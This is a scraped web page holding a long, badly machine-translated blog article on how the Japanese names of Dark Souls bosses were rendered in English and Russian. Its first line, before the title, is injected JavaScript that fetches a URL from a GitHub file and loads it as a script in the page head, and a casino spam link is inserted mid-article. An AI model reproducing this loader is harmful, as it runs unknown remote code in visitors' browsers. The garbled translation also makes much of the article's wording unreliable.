;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Difficulties in translation of the names of bosses into Dark Souls - 优诚法务

Difficulties in translation of the names of bosses into Dark Souls

Hello. In order not to become a victim of poor -quality localization and not to tell how to fight with the roshes and magicians of the rainbow, you have to puff with dictionaries and play in the original – if he is English, whose knowledge of varying degrees is present in almost all. But what if you sat down to play magnificent, kindest games from Fromsoftware, and there is the original – Japanese? You can’t get around with one puff, but I want to bread the original.

We will analyze the bosses according to this scheme: the original name with transcription, then the English version of the translation, and finally Russian. Next, we consider in more detail the original name and evaluate how much the value has changed or preserved in localized options.

Disclaimer #1 – Before writing this material, I had no idea about what Dark Souls has Russian localization and what quality, I did not know the names or the bosses, nothing. For me, the DS series has always been 70% English and 30% by the Japanese Title in terms of linguistic experience.

Disclaimer #2Trust me, I’m a professional If this fact somehow adds persuasiveness and reliability in your eyes, then I am a certified linguist. Speca – English and Japanese.

Disclaimer #3 – I’m not a professional translator. In addition to purely information notes about what the name of the boss really means (or what it may mean, because it is still Japanese and there may not be easy translations), there will be my personal opinion about how much it was possible to convey the meaning and assumptions about whether there was some more easily or correct path from the point of view of transmission of the value. I understand that localization is a short time, often the lack of context and various difficulties.

Disclaimer #4 – Yes, get ready for LNGS (search syndrome of deep meaning). I will express any assumptions about why this boss’s name is so and not otherwise. These will be just thoughts, I have no proofs except linguistic.

Inaccurate infa about localization

As far as I know, from Japa to English, Frognation was localized, which translated both the second part and Bloodborn. I tried to find who did the Russian localization, and the only thing I could dig out of the final credits is QLOC, the Polish office that is engaged in translations and localization. This is a subsidiary 1C. Most likely, these guys did not see the original in the eyes and translated from the English, which inevitably led to the fact that all the mistakes and inaccuracies of English localization moved to Russian. If someone has more specific infa or more details/sources on the issue of Russian localization-please write in the comments.

Legend

[:] – the colon after vowel in transcription means a long sound.

[‘] – Apostrophe after one vowel and in front of another (or between two n) means that these are two different syllables, and not one long.

Transcation is presented without compliance with all-all academic rules and special symbols, just for the convenience of reading, which it completely reflects.

Sources

For this material, I used the Japanese wiki, English wiki, Russian wiki, this thread is on Reddite, another wiki and a certain number of dictionaries. Picchi were found on the Internet and most often are a hundred years ago Detailed pages of an official artbook. Sometimes I used other people’s arts, but the authors are indicated everywhere.

Japanese – 不死院のデーモン [Fushi’in no de: mon]

English – Asylum Demon

Russian – Demon of refuge

不死院 [Fushi’in] is the name of the location where the main character begins the game. It was translated into English as Undead asylum – Asylum can mean refuge, shelter or even an almshouse, but many now perceive this word as a “psychiatric hospital”. This value returned from the outdoor in the primary in the wave of all kinds of media and Arkham. In the Russian, the name of the location is localized as “the refuge of undead”, and the boss, respectively, is called – the demon of refuge.

We will analyze in parts to check how close the translation is to Yapa:

不死 [Fushi] – translates quite literally as “undead”, as it consists of [fu] – denial and [Shi] – Death.

[in]-is always used as part of a compound word, indicating that it is some organization, institution or institution.

[No] – a grammatical particle denoting belonging or creating adjectives from nouns;It is extremely often found and will subsequently be very useful to us. Indicates the belonging of the demon to this institution.

デーモン [de: mon] – the word “demon” borrowed from the English, recorded not by hieroglyphs, but a katakana, which is most often used to record borrowed words. Is there no word “demon” in Japanese? Of course, there are, and there are quite a lot of them, which is explained by rich Japanese mythology. There is no generalized word for some bad randomes alien to this earth-they are all quite specific and denote a specific group of spirits with their characteristics, so they cost a borrowing from English.

In my opinion, the Russian version of the “Demon of Refuge” has somewhat lost a piece of meaning indicating the organized structure of this “refuge” – if you remember, this is a whole institution, and not just a party of bumy undead under the bridge. The English version “Asylum Demon” retains everything you need due to the initially successful choice of the word asylum when translating the name of the location.

Japanese – 牛頭のデーモン [gozu no de: mon]

English – Taurus Demon

Russian -Demo-Taurus

牛頭 [gozu] – literally the “head of the bull”, which is fully true. It is interesting that this boss can be a mythological reference – the same hieroglyphs in traditional Chinese mean one of the mythical guards of the underworld, where souls should suffer before rebirth. Two guards – 牛頭 (literally “with the head of the bull”) and 馬面 (literally “with the face of a horse”). You can even pull the ears and the fact that the demon in the game protects the entrance to the city, but this is not very valid, since the boss is optional, and it can be missed.

The English version is quite good, Taurus Demon sounds pleasant, and reflects the animal nature of the demon. The Russian version was received from English, so I don’t have any comments here. Of course, the main difference in associative connections is Taurus and Taurus more to the zodiac topic than to eastern mythology, but this is absolutely natural.

Japanese – 鐘のガーゴイル [Kane no Ga: Goir]

English – Bell Gargoyle

Russian – Gorgul

[kane] – bell, so there is no hidden connotation here. Both Gorguli are located on the roof of the chapel, therefore their name is quite logical and completely transferred to English localization. It turned out to be more difficult with the Russians and the “bell” to “Gorgulie”, apparently, did not work out, so the boss is just called Gorguli. I wonder how else it would be possible to translate. Gorgul from the bell tower? Then gets the impression that her main attack is spitting.

Japanese – 月光蝶 [gekko: cho:]

English – MoonLight Butterfly

Russian – Lunar butterfly

月光 [gekko:] – literally “moonlight”.

[Cho:] – Butterfly.

The English language conveys the essence more precisely, putting all the values ​​present in the original in MoonLight Butterfly. Russian localization of special inconvenience also did not experience.

Japanese – 山羊頭のデーモン [yagizu no de: mon]

English – Capra Demon

Russian – Demon Capra

山羊 [yagi] – goat or goat, consists of [yama] – mountain and [hitsuji] – sheep. About this I love the Japanese language: goat = mountain sheep.

[atama]-literally “head”, as in the case of a demon-agent who is actually “with the head of the cow”.

It is interesting that Carpa is a Latin “goat”, and this word was chosen for localization because the Romanesque languages, which were weaving from Latin in old times, to this day retained the Latin roots of this word. In Italian, the goat is Capra, for them nothing has changed since the heyday of Latin;Spanish-Cabra, and even French chèvre comes from the Latin Capra. The decision to take the word CAPRA for the translation of Yagizu, I consider it a rather elegant and beautiful solution. Here is just English – not Romanesque, but West German, and their word “goat” – Goat – did not come from the Latin Capra. Therefore, it is not clear to me how English -speaking they generally realized the name of this boss as related to the goat. Here we need to conduct a survey.

Update – After a small investigation, it turned out that in fact the Latin word Capra still exists in English to this day and is known to the vast majority of native speakers. Capricorn – Capricorn, zodiac sign. The motivation of English localization is now becoming clear – they began the zodiac theme with Taurus Demon and continued it with Capra Demon. Having read a variety of forums and discussions, I realized that the average carrier of the Anglo is still able to see the connection between Capra and Capricorn, especially in the light of the zodiac topic, begun with the previous boss, and in principle realize that Capra = Goat.

Russian localization was completely confused and probably considered that CAPRA is its own name, and therefore translated as “Demon Capra”, which does not give a Russian-speaking person anything but some not very good associations on the border of consciousness. Here it is failed on all fronts – what is Copara, from where, go understand.

Japanese – 貪食ドラゴン [DONSHOKU DORAGON]

English – Gaping Dragon

Russian – open dragon

Immediately remove the word ドラゴン [doragon] from the road, which is borrowed from the English word Dragon. Later dragons will be in hieroglyphs.

貪食 [DONSHOKU] – an interesting word denoting incredible gluttony, insufficiency. Consists of 貪る [Musaba.ru], a verb denoting “passionately want something”, “devour with greed”, “wish for irresistibly”, and a simple verb 食う [ku.u] – "eat". By the way, the same verb is used when Hanzo from Overvotcha ultrates – Ryu Ga Waga Teki Wo kurau : D

The name of the boss refers to his biography – this dragon is a descendant of eternal dragons, but transformed into a monster under the influence of his own desires, mainly desires are desires. Therefore, 70% of the boss is his giant mouth.

English localization, and after it Russian, decided not to transmit any Laura in the name, but to compose a name by the appearance of the boss, hence the Gaping Dragon, where Gape is a gaping hole or something wide open. Translate the name of the boss as “open” is quite inventive and with the raid of antiquity, although after the “non -life county” I am not very surprised.

Japanese – 混沌の魔女クラーグ [Konton No Majo: Kura: Gu]

English – Chaos Witch Quelaag

Russian – Quiehele Witch Chaos

混沌 [konton] – chaos. One could dwell on this, but in Japanese there is a much more common word to designate chaos – with the same first hieroglyph. It is interesting that it is this word that has a specific Chinese reading Hundun, which in Chinese cosmos mythology means initial chaos, which is quite suitable in this case.

[no] – a piece of belonging to us, indicates a witch belonging to chaos.

魔女 [Majo:] – Witch. The first hieroglyph [Ma] indicates evil spirits, demons and other evil spirits, as well as the one who regularly does something with them, and the second hieroglyph, [onna], denotes a woman and actually makes a word of the feminine from this word.

クラーグ [kura: gu] – its own name recorded by the katakana, in English it was adapted as Quelaag [kwela: g] (some English -speaking pronounce [kweila: g]), which sounds beautiful and, in principle, reflects the essence.

The difficulty of translation could be only one – with its own name, since everything is about clear with the “witch of chaos”. The English localization coped well, and in Russian they mixed up something and recorded a witch as a yield instead. On the other hand, it may be good that they did not see the original, otherwise it would turn out some witch of chaos kurag.

Japanese – はぐれデーモン [hagure de: mon]

English – Stray Demon

Russian – A wandering demon

Asylum Demon piccha because they are almost the same

はぐれ [hagure]-it is written by a hiragana, the main Japanese alphabet, but this word has a hieroglyph, it just is somehow not common. Hagure – Communion from the verb Hagureru, which means “losing sight of” or “fighting off the herd”.

This boss can be seen at the very beginning of the game – it is located right under the demon of refuge – but it will be possible to fight it only if you return to refuge when re -returning. The words Stray and the “vagabond” give the impression that there are non -naughty dogs around the refuge of these demons, and from time to time at least one and it worsens inside. But in fact, this demon, a couple with the first, is quite a legal inhabitant of the refuge. So, in my opinion, Hagure more refers to the fact that this demon “lost sight of” his colleague with a floor above and, perhaps, was left alone in all of his refuge, not having more than his own, that is, having lost the herd. Too many LNGS? Of course, yes: d

Japanese – 三人羽織 [san’ninbaori]

English – Pinwheel

Russian – Whirlwind

Oh Pinwheel. Faster to kill this boss than to understand his name.

三人 [san’nin] – literally “three people”, which is logical, because there are really three people: a man, a woman and a child.

羽織 [Haori] – Japanese jacket of direct cut without buttons, can be read on Wikipedia. Also [harora] is “put on”. All? No, not all. It would seem that this is a boss, putting on three faces, but no, you can dig and deeper.

In the Japanese art of comedy, both traditional and modern, there is such a view called Nininbaori (two people in chaoori). What is the essence – one person throws Haori on his shoulders, the other stands behind him, spreads his hands in his sleeves and tries to feed the first. It is ridiculous because the face and hands are never coordinated, and the meal goes well not smoothly at all.

So yes, the boss is literally three people in a huge robe straight from the Japanese traditional comedy. Those who consider it a troll boss – here’s your proof: D

It was impossible to overcome the cultural barrier, and the English localization decided to focus on the appearance of the boss and his actions, so she translated him as Pinwheel, literally “turntable”. Russian localization, fortunately, thought that the turntable is somehow unsolvable for the boss, even for this, therefore translated it as a “whirlwind”. None of this has no connection with its real name at all, so 100% Lost in Translation.

Japanese – アイアンゴーレム [Aian GO: Remu]

English – Iron Golem
https://casperspinscasino.co.uk />

Russian – Iron golem

Success on all localization fronts, since the Japanese name is just a record of the English Iron Golem using a katakana.

Japanese – 竜狩りオーンスタインと処刑者スモウ [ryu: kari o: nsutain to shockeisha sumou]

English – Dragon Slayer Ornstein and Execution Smough

Russian – Ornstein Dragon -sided and executioner Smogog

Let’s start in order with Ornstein.

竜狩り [Ryu: Kari] – Dragon Hunter, consists of [Ryu:] – Dragon and 狩り [ka.Ri], a noun formed from the verb “hunt for animals”, “trace the criminal” and even “collect mushrooms”. Collector of mushrooms Ornstein.

With greater accuracy, one could call him Dragon Hunter, not Dragon Slayer, but the latter sounds cool and in Patsani, and immediately shows that this knight was from head to toe in military glory, and not just hunted someone because of the tree. The “Dragon -breaker” came to the Russian language – a default designation of a warrior fighting with a dragon.

オーンスタイン [o: nsutain] – the own name, localized by English -speaking gentlemen as ornstein, which is very close to the original, and most importantly, it is reproached for the target audience (although I have met some carriers of the angla, who for unknown reasons say [ornsti: n]). Our name was adapted as an ornstein, according to the model of Frankenstein and others.

Now about the one who was not taken to the knights, but they were allowed to make a mistake near.

処刑者 [Shokeisha] – literally “executioner”, translation of a straight line as a stick, because the word consists of 処刑 [Shokei] – Execution and [mono] – a kind of suffix “man”, which denotes an agent performing the action. So there is English adaptation, and, as a result, Russian, it was just nowhere to make a mistake.

スモウ [sumou]-For some reason, the own name causes a bunch of embarrassment in all circles. The English adaptation is quite true-smough [smou], while the Russian for some reason decided to add disruptions and was born by the name Smogog, which only adds unnecessary associations with Smuug somewhere in the depths of consciousness.

Japanese – 陰の太陽グウィンドリン [Kage No Taiyo: Gwindorin]

English – Dark Sun Gwyndolin

Russian – Dark Sun Gwindolin

The prize for the most interesting name goes to my beloved character Gwindolin. Type air and dive.

[kage] – most often translated as “shadow”, for which the English localization was seized in the first place. This word has another meaning – “yin” from that very yin and yang that hints at the feminine. With this hieroglyph, you can even designate the female genital organs, and such a value is. If you remember, Gwindolin did not inherit the strength of the sun from his father Guin, but on the contrary, was quite connected with the moon, which was due to which he was brought up as a daughter.

[no] – denotes belonging. Can also make adjectives, for example, glass + の = glass. So it can create the phrase “shadow sun”

太陽 [TAIYO:] – Sun. The second hieroglyph – matters "yang".

グウィンドリン [gwindorin]-The name was localized without any loss.

Seriously, this name reflects half of his biography. Here, the duality of the lunar and sunny, female and male encountered in it, and its art of illusions, which allows him to create the sun over anor Londo and be the last personification of the Sun, while in touch with the Moon – well, everything is here.

I have only one question: if, having received the strength of the moon, Gwindolin was brought up as a daughter, then why his sister Guinevera, who inherited the power of the sun, was not brought up as a man.

Japanese – 半竜プリシラ [Hanryu: Purishira]

English – Crossbreed Priscilla

Russian – Priscilla half -breed

半竜 [Hanryu:] – literally “half a dragon”.

A half-breed is, of course, good and correct, but the lost detail about the dragon led to the fact that for English-speaking and other non-Japanese players the fact that she was a semi-pra-pra-pra-pra-pra-pra-pra-borrone became the discovery. People examined Procedill and, finding scales on the body and identifying the tail, rushed to the forums to share shocking info. Those who played the game in Japanese were perplexed – in her name there is a “dragon”, which is a boil for? Her dragonness was completely lost in translation, but generated additional excitement in the community.

プリシラ [Purishira] – literally “Priscilla”, recorded in Japanese, so there were no problems with the translation of.

Japanese – 爛れ続けるもの [Tadare Tsuzukeru Mono]

English – CEASELESS DISCHARGE

Russian – Unwinding warrior

Something as difficult as with Pinwheel’s, but let’s try to figure it out.

爛れ [Tadare] – inflamed, painful.

続ける [tsuzukeru] – continues.

もの [mono] – literally “creature”.

If you remember the ENT of this boss, then he was the only son of the witch Isalit and her youngest child;In one of the interviews, Miyazaki says that he was born for a very long time when the flame was not yet stable, so it burns it. If you look closely, you can see non -healing ulcers on the body of the boss, from which lava endlessly erupts. Thus, his name means something like "the creature continues to inflam". The English version took as a basis the fact that he all the time erupted the lava from his wounds, and localized it as Ceaseseless DischaRge, and the Russian localization was a little lost and created a “tireless warrior”. This boss has a very sad fate, and it is all in the name; _;

Japanese – デーモンの炎司祭 [De: Mon No Honoo Shisai]

English – Demon Firesage

Russian – Wise Demon of Fire

Art by oniruu

[Honoo] – Flame

司祭 [shisai] – priest, priest. Consists of 司る [tsukasado.ru], pointing to an official, and 祭る [matsu.ru] – worship, conduct rituals or prayers and similar.

The most interesting thing in the name of this boss is the sequence of its parts. At the beginning, with the demon of the refuge and a stray demon, the “demon” stood at the end, after a part of No, which indicated that the demon belonged to something, for example, locations. Here, the demon is at the very beginning, and this is important.

The wise demon of fire on Laura was the last master of art of fire before becoming a demon. His position in the demonic hierarchy is quite high, he is a priest of fire for demons or among demons, and there are no more such. This detail could not clearly convey a single localization, although I really like the English localization of Firesage – more inventive and fresh than Firepriest.

Japanese – 百足のデーモン [mukade no de: mon]

English – Centipede Demon

Russian -Demon-Stonog

百足 [mukade] – Multiple, consists of [Hyaku] – Hundred and [ashi] – leg. By the way, this word is not an original designation of an indigenous multi -leaf, in fact the “multi -leaf” is written as 蜈蚣 [mukade]. I suppose that these hieroglyphs were difficult for household use, and took a simpler 百足, Leaving reading more complicated in writing the predecessor. Hieroglyphic languages, this happens with them. In general, it should be read as [Hyakusoku].

The translation of CentiPede Demon is quite normal, but the demon demon makes me suspect that the Russian localization still saw the original at some stage (?), otherwise I can’t assume how “demo-dones” could be born from the English localization of “demon-shirt”-a literal translation of hieroglyphs of the original name. Although it could, in the localizations of which does not happen.

Japanese – 灰色の大狼シフ)

English – Great Grey Wolf Sif

Russian – Sif the Great Wolf

Art by Juan Acosta
灰色 [Hai’IRO] – Gray, literally "color of ash".

大狼 [DAIRO:] – literally “Big Wolf” – Redid, reports that the same word indicated the wools in the Japanese translation “Song of Ice and Flame”.

シフ [Shifu] – own name, and sif/sief – quite adequate version of it. Due to the lack of difficulties, localization was quite successful, only in the Russian version it is not clear where inversion came from and the word “gray” was lost (because of a gray wolf from fairy tales?). Why not the great wolf Sif, namely the SIF Great Wolf? Sounds like some kind of crutch.

Japanese -白竜シース [hakuryu: shi-su]

English – Seath The Scaleless

Russian – Nagoy Sit (; __;)

Oh, sieve. How much did you have happened to you. First, the original is easier than you can imagine.

白竜 [hakuryu:] – literally “White Dragon”.

So simple. There is no talk of any scales or even more so. Let’s see what different wiki say about this.

Some say that he was born without scales, others say that he is Albino, that is, with white scales (?). Truth in the highest instance, we consider Japanese wiki.

As you know, the whole special dragon Udal was in their impenetrable stone scales, which Sita did not have. The official concept art shows that he has only a fur, which the dragons also had-but white, he was inherited. But he really does not have the same scales. That is, he is both albino and beless. But fur!

It is funny that when the original is written “Dragon-half-decking”, the English localization misses part of the Infa, and then it becomes a discovery, and in the case of a “white dragon”, on the contrary, they pulled out the whole discovery and called it “scaleless”, not allowing the players to come to this on their own.

Now "Nagoy Sith". Why not "Cereal"? Well, please? Why, if he does not have scales, then he is “naked”? We do not call the “Nagimi” cats, because they have no wool. We call them naked

シース [Shi: SU] – My own name, it was possible to translate a dozen different ways, but I consider the localization of SEATH a successful.

Japanese – 混沌の苗床 [konton no naedoko]

English – Bed of Chaos

Russian – The bed of chaos

混沌 [konton] – “chaos”, a word already known to us.

苗床 [naedoko] – an interesting word consisting of [nae] – sprout and [tooko], which matters “bed, alcove”. Naedoko is generally translated into English as nursery and means a children’s room, nursery/seedling/incubator. This is logical, because it was in this place that the witch Izalit tried to create the first flame, but something went wrong, and the chaos born instead devoured her and her children. The name of this boss refers to the beginning of chaos, to the place where it was born.

Neither the Bed of Chaos, nor the chaos of the chaos, all the more, reflect the fact that it is not just the dwelling of Chaos, but the place of its origin. Small detail, but insulting lost.

Japanese – 四人の公王 [yonin no ko: o:]

English – Four Kings

Russian – Four kings

四人 [yonin] – literally “four people”.

公王 [KO: O:] – an interesting word that is hardly present in the dictionaries that I use – in one third -party dictionary I managed to find the info that this word was specially created to refer to the Grand Dukes of the Russian Empire (!) who are> ordinary princes, literally something like “public/public kings”. As far as I know, there is no evidence that in New Londo there was the same monarchy as in Narnia, and there could rule more than one king at the same time – or that there were even kings there. Most likely these are four representatives of some higher nobility or rulers who have a different name than just “kings”.

Japanese – 墓王ニト [BO: Nito]

English – Gravelord Nito

Russian – NITO MORGE

墓王 [BO:] – literally “King of the Grave”. I consider localization quite successful – Gravelord sounds better than King of Graves, and even in DS, there are enough kings, there, as many as four were simultaneously at the same time. The name is translated exactly as given in the original.

Japanese – 薪の王グウィン [Maki no o: gwin]

English – Gwyn, Lord of Cinder

Russian – Gwin master of ash

薪の王 [Maki no o:] – "King of firewood" [Maki] means fuel, chips, firewood – in a word, everything that is used for roser and maintenance of fire. [O:] – King. Particle No as if indicates that Gwin is the king that supports the flame, but, like with Gwindolin, a combination 薪の王 can be interpreted as “a king who has become a fuel,” which completely reflects his ENT.

グウィン [guwin] – localized unmistakably, because 99.9%that the Japanese entry is tightened with Angla Gwyn.

Artorias of the Abyss DLC

Japanese – 霊廟の聖獣 [reibyo: no seiju:]

English – Sanctuary Guardian

Russian – The guardian of the sanctuary

霊廟 [Reibyo:] – Mausoleum, literally “Palace/Sanctuary of Souls”.

聖獣 [seiju:] – an extremely popular word in anime and video games, literally “sacred beast”.

As a result, the Holy Beast of the Mausoleum turned into a rather inconspicuous Sanctury Guardian, which is much less poetic, although it conveys the function of the boss. It’s funny that the location in which it is located has a high -floor translation by Sanctuary Garden – the Holy Garden, although the original sounds like 霊廟・裏庭 [Reibyo: uraniwa] – literally “courtyard behind the mausoleum” or “garden behind the mausoleum”, without a raid of sacredness.

Japanese – 騎士アルトリウス [kishi arutoriusu]/深淵歩き [shin’en aruki]

English – Knight Artorias/Artorias The Abysswalker

Russian – Knight Artias/Artias the traveler of the abyss

騎士 [kishi]-knight, super-default word without any special meanings. In the same word, four knights of Guin as a whole are designated – グウィン王の四騎士.

アルトリウス [Arutoriusu]-honestly should be localized as artorius-arthrius, but for some reason we have arthorias. Not very critical.

深淵歩き [shin’en aruki] – the nickname of the arthorias, the very one that Abysswalker. Consists of 深淵 [shin’en] – an abyss that is also an abyss in a religious sense, underground world. 歩き [aruki] – noun formed from the verb aruku – walk on foot. Literally – the one who walks along the abyss on foot. English Abysswalker seems to me an ideal translation, but the traveler of the abyss seems to be missing something.

Japanese – 黒竜カラミット [kokuryu: karamitto]

English – Black Dragon Kalameet

Russian – Black Dragon Kalalamite

黒竜 [Kokuryu:] – literally “Black Dragon”, as opposed to the Sito, which 白竜 [hakuryu:] – White Dragon.

カラミット [karamitto] – was clearly formed from English Calamity, which is quite interesting and even funny. There were no difficulties with the transfer of the name of your own – kalameet/kalamite.

Japanese – 深淵の主マヌス [shin’en no o: manusu]

English – Manus, Father of the Abyss

Russian – Manus Father of the Abyss

Art by Gekkoourface

深淵の主 [shin’en no o:]-the situation is about the same as with Gvin, who is the “king of fuel” or “king of fuel”. Here is the same – “the king of the abyss” or “the king, which has become an abyss”, which is quite lorno, since the abyss flows out of it. In localization with us again the section of the spoilers, and it was translated as “Father of the Abyss”, which, although it raises questions, gives too many answers about his relationship with the abyss. But in the original “king”, yes. It generally seems to me that Manus and Gvin are very dualistic, opposed to each other and therefore are named according to the same template. Unfortunately, in localization it was somewhat lost, and Manus became nothing happy father of black.

マヌス [manusu] – there is even nowhere to make a mistake here, so manus/manus.

Mini-bosses

Japanese – 飛竜ヘルカイト [Hiryu: Herukaito]

English – Hellkite Dragon/Hellkite Drake

Russian – Red Wyvern

飛竜 [Hiryu:] – literally “Flying Dragon”. To be honest, I thought that in the original there is some difference between the tr-darco and all sorts of underdeveloped descendants such as wyverns and non-podracons, which in English are often indicated by the word Drake. However, in Japanese sieve and kalalamite – original dragons – and Hellkite – the underdeveloped form of the dragon – are indicated by the hieroglyph . But the open dragon, one of the descendants, is indicated by the transcription of the English word Dragon. Interesting.

ヘルカイト [Herukito] – most likely the transcription of English Hellkite, so the reverse localization has passed without problems.

The English wiki indicates the names of the Red Drake and Bridge Wyvern, the originals of which I did not find or looked at the Japanese Wikipedia. The Russian version of the translation did not bother with the incomprehensible Helkight and mixed the last two names, receiving a red wyvern.

Japanese – 楔のデーモン [musabi no de: mon]

English – Titanite Demon

Russian – Titanite demon

[musabi] – literally translates as “wedge”. It is impossible to comprehend the name of the miniboss in the original in the original from its context, you will have to contact the ENT and drops. As you know, titanite demons are creatures born of Titanite after the death of an unnamed godfather. Titanite has a very definite look:

… and on it you can see some cuneiform writing. Perhaps this is due to some wedges used in the blacksmithing business, I have no idea. It is especially funny that the weapon that falls from the demon is called デーモンの楔-the name of the mini-boss, written on the contrary, literally something like the “wedge of the demon”. And he himself is a wedge or some cuneiform.

English localization, and then Russian, did not steam with any wedges and called Demon Titanitov, which is quite the right decision.

Japanese – 湖獣 [koju:]

English – Hydra

Russian – Hydra

湖獣 [koju:] – literally “Lake Beast”, the second hieroglyph is the same as the guard of the sanctuary, who is actually a sacred beast. The original may seem somehow freshful against the backdrop of hydra, but what to do. English localization turned the boss into a hydra, probably because of its polyphonic snake form, which many associate with this creature from Greek mythology. To be closer to the people, so to speak.

Japanese – アーマードタスク [a: ma: do tasuku]

English – Fang Boar/ Armored Tusk

Russian – Fanged boar

アーマードタスク – British English Armored Tusk – armored tusk. The boar in the armor is entirely, but the armored tusks are called upon to captivate the player’s imagination. In addition to the normal Armored Tusk, the English localization also translated as Fang Boar, apparently for the convenience of understanding, releasing the main pitch about armor, and the Russian localization grabbed and gave birth to a fanged wild boar. It turns out that even with the localization of the extremely understandable English tracing paper there are problems.

Japanese – ドラゴンゾンビ [Doragon zombi]

English – Undead Dragon

Russian -Dragon-not

ドラゴンゾンビ -Training from the English Dragon Zombie, which for some reason was lost even in English localization and the dragon appeared -not. In my opinion, a zombie dragon would be cooler and correct, I don’t understand why it was impossible to do so.

Results

Localization is difficult. Localization with Japanese is a task with an asterisk.

Why I want to praise the English localization:

1) for elegant solutions. For example, Taurus Demon, Capra Demon, Dragon Slayer Ornstein and Demon Firesage.

2) for the fact that if it is impossible to localize the name of the boss, the guys simply invented, looking at the boss and his behavior or the ENT, for example-Pinwheel, Titanite Demon or Ceaseseless Discharge, which is generally the right exit from the difficult situation.

For which I do not want to praise:

1) for inventing the name if possible localize normally. For example, Gaping Dragon. What prevented to translate somehow in the spirit of Voracious Dragon? And that would be better. Not that the word DONSHOKU in the original is somehow incredibly difficult to decipher.

2) for spoilers and fantasies in the presence of a direct translation – for example, Father of the Abyss, Seath The Scaleless. Why not Lord of the Abyss/White Dragon Seath? I can not come up with a single good reason not to localize normally, when the original name is as simple as possible and translate it is not difficult.

3) for concealing details, as with Crossbreed Priscilla. Why not Dragon Crossbreed Priscilla?

4) for attempts to make the names of the bosses “more understandable” vs “more correct”. Yes, it burns from the hydra, because it is Lake Beast, not Hydra. Stupid attempts to call one another with conditional similarity seriously strain and interfere with the sensation of the atmosphere, slipping some familiar things where you should be disturbed by the unknown.

Russian localization, with which I was not familiar before, was frankly amazed.

Why I want to praise the Russian localization:

1) for the adequate transmission of most bosses from English. My standards for Russian localization are not very high, so thanks for living.

2) for making forced sacrifice – thanks for not stuffing the bell into the pots.

3) for ingenuity – open dragon straight norms.

For which I do not want to praise:

1) the transfer of own names-some kind of ahtung. The main work has already been done by English localizers, having recorded Katakan Latin to the maximum of conveying the sound – what was the problem, in the reading rules? Why quires, not a queel? Manipulations with syllables are usually used if in the language that is translated, the translated syllable is extremely atypical and will cause embarrassment in the carrier, but there is nothing like that. Why Smog? Because Smough looks scary and you need to cram the consonants there? The same fate befell the Hawkeye gough, which in Russian localization of the goch. Would be translated then uniformly, there would be a gog. In this material, I did not analyze the localization of the names of the locations, but as soon as I found out that after the English localization, wiping sweat from my forehead, gave birth to Olacile, which very accurately conveys the original Japanese name, and Russian localization was given by Olachil, my OR was heard outside the country. Spare.

2) for the reluctance to carry out. Demon Capra is Fale. Suppose you are sitting there burned Germans and none of them know the romance languages ​​- neither Italian, nor Spanish, nor French. None of them ever encountered Latin, even casually? Amazing for professional translators/localizers. No one was able to identify the clearly Latin word and google it elementary because DS went out in 2011, and Tyrtyrnet already worked without disconnecting the phone? Sadness.
Update – As it turned out, Russian localizers did not even have to delve into the Romanesque languages ​​and Latin – it was enough just to trace the zodiac topic and recall the layer of English zodiac vocabulary, which retained Latin roots. Then everything would be clear: Capra -> Capricorn -> Capricorn.

This material demanded a lot of time and effort, but I liked it: D I could still analyze DSII, DSIII, BloodBorne and Sekiro, there are probably similar interesting things there. I always like to explore the original and assume what values ​​the creators were invested and how they were later lost or preserved during localization in other languages ​​- sometimes completely far from the source. This is partly professional interest too.
Thank you for your attention!


已发布

分类

作者:

标签

评论

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注